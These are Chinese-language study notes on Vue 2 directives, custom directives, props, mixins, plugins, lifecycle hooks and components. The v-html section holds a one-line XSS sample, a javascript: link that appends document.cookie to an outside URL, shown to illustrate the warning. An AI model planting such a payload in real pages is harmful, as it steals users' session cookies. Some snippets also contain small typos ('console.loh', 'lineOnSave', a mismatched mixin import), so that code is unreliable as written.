D28.Vue
F7.内置指令 + 自定义指令(K44-K49)
之前学过的指令:
v-bind 单向绑定解析表达式,可简写为**:**
v-model 双向数据绑定
v-for 遍历数组 / 对象 / 字符串
v-on 绑定事件监听,可简写为**@**
v-show 条件渲染 (动态控制节点是否展示)
v-if 条件渲染(动态控制节点是否存存在)
v-else-if 条件渲染(动态控制节点是否存存在)
v-else 条件渲染(动态控制节点是否存存在)
A.内置指令
xv-text 指令
1)v-text指令:(使用的比较少)
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
<!-- 准备好一个容器-->
<div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div>
</div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'张三',str:'<h3>你好啊!</h3>'}})
</script>
2.v-html 指令
1)v-html指令:(使用的很少)
作用:向指定节点中渲染包含html结构的内容
与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
严重注意:v-html有安全性问题!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器--> <div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div> </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'张三',str:'<h3>你好啊!</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我系渣渣辉,系兄弟就来砍我</a>',}}) </script>
3.v-cloak 指令
1)v-cloak指令(没有值):
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题<style>[v-cloak]{display:none;} </style> <!-- 准备好一个容器--> <div id="root"><h2 v-cloak>{{name}}</h2> </div> <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}}) </script>
4.v-once 指令
1)v-once指令:(用的少)
v-once所在节点在初次动态渲染后,就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能<!-- 准备好一个容器--> <div id="root"><h2 v-once>初始化的n值是:{{ n }}</h2><h2>当前的n值是:{{ n }}</h2><button @click="n++">点我n+1</button> </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}}) </script>
5.v-pre 指令
1)v-pre指令:
跳过其所在节点的编译过程
可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译<div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button> </div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({ el:'#root', data:{n:1} }) </script>
Django中模板语法也是{{}},使用这个是防止冲突
2.自定义指令
1)directives
记住这里面就是操作Dom的
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
语法:
局部指令:new Vue({ directives:{ 指令名:配置对象 } })new Vue({ directives:{ 指令名:回调函数 } })
全局指令:
Vue.directive(指令名, 配置对象) 或 Vue.directive(指令名, 回调函数)Vue.directive('fbind', {// 指令与元素成功绑定时(一上来)bind(element, binding) { // element就是DOM元素,binding就是要绑定的element.value = binding.value},// 指令所在元素被插入页面时inserted(element, binding) {element.focus()},// 指令所在的模板被重新解析时(data数据改变导致模板重新解析)update(element, binding) {element.value = binding.value} })
2)配置对象中常用的3个回调:
a. bind:指令与元素成功绑定时调用
b. inserted:指令所在元素被插入页面时调用
c. update:指令所在模板结构被重新解析时调用
3)element就是DOM元素,binding就是要绑定的对象,它包含以下属性:name、value、oldValue、expression、arg、modifiers
注:
a. 指令定义时不加v-
,但使用时要加v-
b. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名new Vue({el: '#root',data: {n:1},directives: {'big-number'(element,binding) {element.innerText = binding.value * 10}} })
4)定义全局指令
<!-- 准备好一个容器--> <div id="root"><input type="text" v-fbind:value="n"> </div><script type="text/javascript">Vue.config.productionTip = false//定义全局指令Vue.directive('fbind', {// 指令与元素成功绑定时(一上来)bind(element, binding){element.value = binding.value},// 指令所在元素被插入页面时inserted(element, binding){element.focus()},// 指令所在的模板被重新解析时update(element, binding){element.value = binding.value}})new Vue({el:'#root',data:{name: '尚硅谷',n: 1}})</script>
5)局部指令
<title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script><div id="root"><h2>{{ name }}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n"> </div><script type="text/javascript">Vue.config.productionTip = false// 定义全局指令/* Vue.directive('fbind',{// 指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},// 指令所在元素被插入页面时inserted(element,binding){element.focus()},// 指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {// big函数何时会被调用?// 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时/* 'big-number'(element,binding){// console.log('big')element.innerText = binding.value * 10}, */big(element, binding) {console.log('big', this) // !注意此处的 this 是 window// console.log('big')element.innerText = binding.value * 10},fbind: {// 指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},// 指令所在元素被插入页面时inserted(element, binding) {element.focus()},// 指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}}) </script>
F8.部分函数 + Vue零碎的一些知识(K50-K56)
1.函数
1)render函数
使用 import 导入第三方库的时候不需要 加 ‘./’
导入我们自己写的:import App from './App.vue'
导入第三方的
import Vue from 'vue'
不需要在 from ‘vue’ 加 ‘./’ 的原因是第三方库 node_modules 人家帮我们配置好了
我们通过 import 导入第三方库,在第三方库的 package.json 文件中确定了我们引入的是哪个文件
通过 module 确定了我们要引入的文件
备注:这是ESM默认导入的文件,CommonJS默认导入mian中路径的文件
回到 render 函数
之前的写法是这样:import App from './App.vue'new Vue({el:'#root',template:`<App></App>`,components:{App}, })
如果这样子写,运行的话会引发如下的报错
报错的意思是,是在使用运行版本的 vue ,没有模板解析器
从上面的小知识可以知道,我们引入的 vue 不是完整版的,是残缺的(为了减小vue的大小)。所以残缺的vue.js 只有通过 render 函数才能把项目给跑起来
a. 来解析一下render// render最原始写的方式 // render是个函数,还能接收到参数a // 这个 createElement 很关键,是个回调函数 new Vue({render(createElement) {// 这个 createElement 回调函数能创建元素// 因为残缺的vue 不能解析 template,所以render就来帮忙解决这个问题// createElement 能创建具体的元素return createElement('h1', 'hello')} }).$mount('#app')
2)关于不同版本的函数
来个不同版本 vue 的区别
a. vue.js与vue.runtime.xxx.js的区别:
vue.js是完整版的Vue,包含:核心功能+模板解析器
vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。esm 就是 ES6 module
b. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容
3)vue.config.js 配置文件
vue inspect > output.js可以查看到Vue脚手架的默认配置
使用vue.config.js可以对脚手架进行个性化定制,和package.json同级目录module.exports = {pages: {index: {entry: 'src/index/main.js' // 入口}},lineOnSave: false // 关闭语法检查 }
2.vue 零碎的一些知识
A.ref属性
被用来给元素或子组件注册引用信息(id的替代者)
应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象vc
使用方式:
打标识:< h1 ref=“xxx”>…< /h1> 或
获取:this.$refs.xxx<template><div><h1 v-text="msg" ref="title"></h1><button ref="btn" @click="showDOM">点我输出上方的DOM元素</button><School ref="sch"/></div> </template><script>import School from './components/School'export default {name:'App',components:{ School },data() {return {msg:'欢迎学习Vue!'}},methods: {showDOM(){console.log(this.$refs.title) // 真实DOM元素console.log(this.$refs.btn) // 真实DOM元素console.log(this.$refs.sch) // School组件的实例对象(vc)}},} </script>
B.props 配置项
1)功能:让组件接收外部传过来的数据
2)传递数据:这里age前加:,通过v-bind使得里面的18是数字
3)接收数据:
第一种方式(只接收):props:[‘name’]
第二种方式(限制类型):props:{name:String, age:Number}
第三种方式(限制类型、限制必要性、指定默认值)props:{name:{type:String, //类型required:true, //必要性default:'老王' //默认值} }
注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
4)vue props传Array/Object类型值,子组件报错解决办法
其实看错误信息也就知道了,就是Props在传值类型为Object/Array时,如果需要配置default值(如果没有配置default值,则不会有这个报错),那必须要使用函数来return这个default值,而不能像基本数据类型那样直接写default:xxx
//错误写法 props: {rlist: {type:Array,default: [1, 2, 3, 4, 5]} }
解决方法
//正确写法 props: {rlist: {type:Array,default: function() {return [1, 2, 3, 4, 5]}} } //当然,我们可以使用箭头函数来写,还显得简单很多 props: {rlist: {type:Array,default: () => [1, 2, 3, 4, 5]} }
5)示例代码:父组件给子组件传数据
App.vue<template><div><Student name="李四" sex="女" :age="18"/><Student name="王五" sex="男" :age="18"/></div> </template><script>import Student from './components/Student'export default {name:'App',components:{ Student }} </script>
School.vue
<template><div><h1>{{ msg }}</h1><h2>学生姓名:{{ name }}</h2><h2>学生性别:{{ sex }}</h2><h2>学生年龄:{{ myAge + 1 }}</h2><button @click="updateAge">尝试修改收到的年龄</button></div> </template><script> export default {name: "Student",data() {console.log(this);return {msg: "我是一个bilibili大学的学生",myAge: this.age,};},methods: { updateAge() { this.myAge++; }, },// 简单声明接收// props:['name','age','sex']// 接收的同时对数据进行类型限制// props: {// name: String,// age: Number,// sex: String,// }// 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制props: {name: {type: String, //name的类型是字符串required: true, //name是必要的},age: {type: Number,default: 99, //默认值},sex: {type: String,required: true,},}, }; </script>
C.mixin混入
1)混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项
功能:可以把多个组件共用的配置提取成一个混入对象const mixin = {data() {....},methods: {....}.... }
2)使用混入
全局混入Vue.mixin(xxx)
局部混入mixins:[‘xxx’]
3)局部混入
src/mixin.js
export const hunhe = {methods: {showName(){alert(this.name)}},mounted() {console.log('你好啊!')}, }export const hunhe2 = {data() {return {x:100,y:200}}, }
src/components/School.vue
<template><div><h2 @click="showName">学校名称:{{name}}</h2><h2>学校地址:{{address}}</h2></div> </template><script>//引入一个hunheimport {hunhe,hunhe2} from '../mixin'export default {name:'School',data() {return {name:'尚硅谷',address:'北京',x:666}},mixins:[hunhe,hunhe2] // 局部混入} </script>
src/components/Student.vue
<template><div><h2 @click="showName">学生姓名:{{name}}</h2><h2>学生性别:{{sex}}</h2></div> </template><script>import {hunhe,hunhe2} from '../mixin'export default {name:'Student',data() {return {name:'张三',sex:'男'}},mixins:[hunhe,hunhe2] // 局部混入} </script>
4)全局混入
src/main.js
import Vue from 'vue' import App from './App.vue' import {mixin} from './mixin'Vue.config.productionTip = false Vue.mixin(hunhe) // 全局混合引入 Vue.mixin(hunhe2) // 全局混合new Vue({el:"#app",render: h => h(App) })
这样所有组件就自动使用这些配置了,不推荐使用全局混入
注:1组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先var mixin = {data: function () {return {message: 'hello',foo: 'abc'}} }new Vue({mixins: [mixin],data () {return {message: 'goodbye',bar: 'def'}},created () {console.log(this.$data)// => { message: "goodbye", foo: "abc", bar: "def" }} })
注:2同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用
var mixin = {created () {console.log('混入对象的钩子被调用')} }new Vue({mixins: [mixin],created () {console.log('组件钩子被调用')} })// => "混入对象的钩子被调用" // => "组件钩子被调用"
D.plugin 插件
功能:用于增强Vue 2.本质:包含install方法的一个对象,install的第一个参数是Vue构造函数,第二个以后的参数是插件使用者传递的数据 3.定义插件(见下 src/plugin.js) 4.使用插件:Vue.use()
Vue.use执行之后,会自动调用install方法,所有组件就可以使用里面定义的东西
src/plugin.js
export default {install(Vue,x,y,z){console.log(x,y,z)//定义全局指令Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}})//定义混入Vue.mixin({data() {return {x:100,y:200}},})//给Vue原型上添加一个方法(vm和vc就都能用了)Vue.prototype.hello = ()=>{alert('你好啊')}} }
src/main.js
import Vue from 'vue' import App from './App.vue' import plugins from './plugins' // 引入插件Vue.config.productionTip = falseVue.use(plugins,1,2,3) // 应用(使用)插件new Vue({el:'#app',render: h => h(App) })
src/components/School.vue
<template><div><h2>学校名称:{{ name | mySlice }}</h2><h2>学校地址:{{ address }}</h2><button @click="test">点我测试一个hello方法</button></div> </template><script>export default {name:'School',data() {return {name:'尚硅谷atguigu',address:'北京',}},methods: {test(){this.hello()}},} </script>
src/components/Student.vue
<template><div><h2>学生姓名:{{ name }}</h2><h2>学生性别:{{ sex }}</h2><input type="text" v-fbind:value="name"></div> </template><script>export default {name:'Student',data() {return {name:'张三',sex:'男'}},} </script>
E.scoped
1)scoped样式
作用:让样式在局部生效,防止冲突
写法:< style scoped>
具体案例:<style lang="less" scoped>.demo{background-color: pink;.atguigu{font-size: 40px;}} </style>
F9.生命周期 + 组件(K57-K63)
1.生命周期
1)引出生命周期
又名生命周期回调函数、生命周期函数、生命周期钩子
是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
生命周期函数中的this 指向是vm或组件实例对象<div id="root"><h2 v-if="a">你好啊</h2><h2 :style="{opacity}">看笔记学Vue</h2> </div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {a: false,opacity: 1},methods: {},// Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mountedmounted() {console.log('mounted', this)setInterval(() => {this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1}, 16)},})// 通过外部的定时器实现(不推荐)// setInterval(() => {// vm.opacity -= 0.01// if(vm.opacity <= 0) vm.opacity = 1// },16) </script>
2)分析生命周期
<title>分析生命周期</title><script type="text/javascript" src="../js/vue.js"></script><div id="root" :x="n"><h2 v-text="n"></h2><h2>当前的n值是:{{ n }}</h2><button @click="add">点我n+1</button><button @click="bye">点我销毁vm</button></div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',// template:`// <div>// <h2>当前的n值是:{{n}}</h2>// <button @click="add">点我n+1</button>// </div>// `,data: {n: 1},methods: {add() { console.log('add')this.n++},bye() {console.log('bye')this.$destroy()}},watch: {n() {console.log('n变了')}},beforeCreate() {console.log('beforeCreate')},created() {console.log('created')},beforeMount() {console.log('beforeMount')},mounted() {console.log('mounted')},beforeUpdate() {console.log('beforeUpdate')},updated() {console.log('updated')},beforeDestroy() {console.log('beforeDestroy')},destroyed() {console.log('destroyed')},}) </script>
来讲一下图中间大框框的内容
先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。有el这个配置项,就进行判断有没有template这个配置项,没有 template 就将el绑定的容器编译为 vue 模板,来个对比图
没编译前的:
编译后:
template 的作用
第一种情况,有 template:
如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)
第二种情况,没有 template:
没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去
3)总结生命周期
a. beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据
b. created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $ el属性
c. beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容
d. mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等
e. beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步)
f. updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用
g. beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件
h. destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用
常用的生命周期钩子:- mounted发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
- beforeDestroy清除定时器、解绑自定义事件、取消订阅消息等收尾工作
关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
<div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2><button @click="opacity = 1">透明度设置为1</button><button @click="stop">点我停止变换</button> </div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {opacity: 1},methods: {stop() {//摧毁整个Vue实例,直接停掉还能通过别人方法修改,使用这个就是完全摧毁this.$destroy()}},// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mountedmounted() {console.log('mounted', this)this.timer = setInterval(() => {console.log('setInterval')this.opacity -= 0.01if (this.opacity <= 0) this.opacity = 1}, 16)},beforeDestroy() {clearInterval(this.timer)console.log('vm即将驾鹤西游了')},}) </script>
2.组件
A.模块与组件、模块化与组件化
a. 模块
理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
为什么:js 文件很多很复杂
作用:复用、简化 js 的编写,提高 js 运行效率
b. 组件
定义:用来实现局部功能的代码和资源的集合(html/css/js/image…)
为什么:一个界面的功能很复杂
作用:复用编码,简化项目编码,提高运行效率
模块化 当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用 组件化 当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用
B.非单文件组件
非单文件组件:一个文件中包含有 n 个组件 单文件组件:一个文件中只包含有 1 个组件
1)基本使用
Vue中使用组件的三大步骤:- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
定义组件
使用**Vue.extend(options)
**创建,其中options和new Vue(options)
时传入的那个options几乎一样,但也有点区别;
区别如下:- el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
- data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系
- 讲解一下面试小问题:data必须写成函数:
这是js底层设计的原因:举个例子
对象形式let data = {a: 99,b: 100 }let x = data; let y = data; // x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变 x.a = 66; console.loh(x); // a:66 b:100 console.log(y); // a:66 b:100
函数形式
function data() {return {a: 99,b: 100} } let x = data(); let y = data(); console.log(x === y); // false // 我的理解是函数每调用一次就创建一个新的对象返回给他们
备注:使用template可以配置组件结构
创建一个组件案例:Vue.extend() 创建<script type="text/javascript">Vue.config.productionTip = false//第一步:创建school组件const school = Vue.extend({template:`<div class="demo"><h2>学校名称:{{schoolName}}</h2><h2>学校地址:{{address}}</h2><button @click="showName">点我提示学校名</button> </div>`,// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。data(){return {schoolName:'尚硅谷',address:'北京昌平'}},methods: {showName(){alert(this.schoolName)}},})//第一步:创建student组件const student = Vue.extend({template:`<div><h2>学生姓名:{{studentName}}</h2><h2>学生年龄:{{age}}</h2></div>`,data(){return {studentName:'张三',age:18}}})//第一步:创建hello组件const hello = Vue.extend({template:`<div> <h2>你好啊!{{name}}</h2></div>`,data(){return {name:'Tom'}}}) </script>
2)注册组件
- 局部注册:靠new Vue的时候传入components选项
- 全局注册:靠Vue.component('组件名',组件)
- 局部注册(只有注册了那个组件的才能使用)
<script>//创建vmnew Vue({el: '#root',data: {msg:'你好啊!'},//第二步:注册组件(局部注册)components: {//左边才是组件名school: school,student: student// ES6简写形式// school,// student}}) </script>
全局注册(所有的都可以使用)
<script>//第二步:全局注册组件Vue.component('hello', hello) </script>
3)使用组件
<!-- 准备好一个容器--> <div id="root"><hello></hello><hr><h1>{{msg}}</h1><hr><!-- 第三步:编写组件标签 --><school></school><hr><!-- 第三步:编写组件标签 --><student></student> </div>
4)组件注意事项
关于组件名:
一个单词组成: - 第一种写法(首字母小写):school
- 第二种写法**(首字母大写)**:School(推荐)
多个单词组成:
- 第一种写法**(kebab-case命名)**:my-school
- 第二种写法**(CamelCase命名)**:MySchool (需要Vue脚手架支持)(推荐)
注:
组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
可以使用name配置项指定组件在开发者工具中呈现的名字
关于组件标签:
< school>< /school>
第二种写法:< school/>
注:不用使用脚手架时,会导致后续组件不能渲染
一个简写方式:const school = Vue.extend(options) 可简写为:const school = options
<div id="root"><h2>{{msg}}</h2><school></school></div><script type="text/javascript">Vue.config.productionTip = false//定义组件const school = Vue.extend({name: 'atguigu', // 组件给自己起个名字,用于在浏览器开发工具上显示template: `<div><h3>学校名称:{{name}}</h3> <h3>学校地址:{{address}}</h3> </div>`,data() {return {name: 'dselegent',address: '长沙'}}})new Vue({el: '#root',data: {msg: '欢迎学习Vue!'},components: {school}}) </script>
5)组件的嵌套
<div id="root"></div><script type="text/javascript">Vue.config.productionTip = false//定义student组件const student = Vue.extend({name: 'student',template: `<div><h4>学生姓名:{{name}}</h4> <h4>学生年龄:{{age}}</h4> </div>`,data() {return {name: '尚硅谷',age: 18}}})//定义school组件const school = Vue.extend({name: 'school',template: `<div><h3>学校名称:{{name}}</h3> <h3>学校地址:{{address}}</h3> <student></student></div>`,data() {return {name: '尚硅谷',address: '北京'}},//注册组件(局部)components: { student }})//定义hello组件const hello = Vue.extend({template: `<h3>{{msg}}</h3>`,data() {return {msg: '欢迎来到尚硅谷学习!'}}})//定义app组件const app = Vue.extend({template: `<div> <hello></hello><school></school></div>`,components: { school, hello }})//创建vmnew Vue({el: '#root',template: '<app></app>',//注册组件(局部)components: { app }}) </script>
6)VueComponent
- school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
- 我们只需要写``或``,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:`new VueComponent(options)`
- 特别注意:每次调用`Vue.extend`,返回的都是一个全新的`VueComponent`,即不同组件是不同的对象
- 关于this指向:
组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是
VueComponent
实例对象
new Vue(options)
配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是Vue实例对象
- VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm
<div id="root"><school></school><hello></hello> </div><script type="text/javascript">Vue.config.productionTip = false// 定义school组件const school = Vue.extend({name: 'school',template: `<div><h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button></div>`,data() {return {name: '尚硅谷',address: '北京'}},methods: {showName() {console.log('showName', this)}},})const test = Vue.extend({template: `<span>atguigu</span>`})// 定义hello组件const hello = Vue.extend({template: `<div><h2>{{msg}}</h2><test></test> </div>`,data() {return {msg: '你好啊!'}},components: { test }})// console.log('@',school)// console.log('#',hello)// 创建vmconst vm = new Vue({el: '#root',components: { school, hello }}) </script>
7)一个重要的内置关系
一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法
例:main.js中Vue.prototype.Axios = Axios;
组件xxx.vue中this.Axios({});
B.单文件组件
1)单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式
来做个单文件组件的案例:
a. School.vue<template><div class="demo"><h2>学校名称:{{name}}</h2><h2>学校地址:{{address}}</h2><button @click="showName">点我提示学校名</button> </div> </template><script>export default {name:'School',data(){return {name:'尚硅谷',address:'北京昌平'}},methods: {showName(){alert(this.name)}},}//上面是下面的精简版const school = Vue.extend({name:'School',data(){return {name:'尚硅谷',address:'北京昌平'}},methods: {showName(){alert(this.name)}},})export default school; </script><style>.demo{background-color: orange;} </style>
b. Student.vue
<template><div><h2>学生姓名:{{name}}</h2><h2>学生年龄:{{age}}</h2></div> </template><script>export default {name:'Student',data(){return {name:'张三',age:18}}} </script>
c. App.vue
用来汇总所有的组件(大总管)<template><div><School></School><Student></Student></div> </template><script>//引入组件import School from './School.vue'import Student from './Student.vue'export default {name:'App',components:{School,Student}} </script>
d. main.js
在这个文件里面创建 vue 实例在这个文件里面创建 vue 实例
e. index.html
在这写 vue 要绑定的容器<!DOCTYPE html> <html><head><meta charset="UTF-8" /><title>练习一下单文件组件的语法</title></head><body><!-- 准备一个容器 --><div id="root"></div><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="./main.js"></script></body> </html>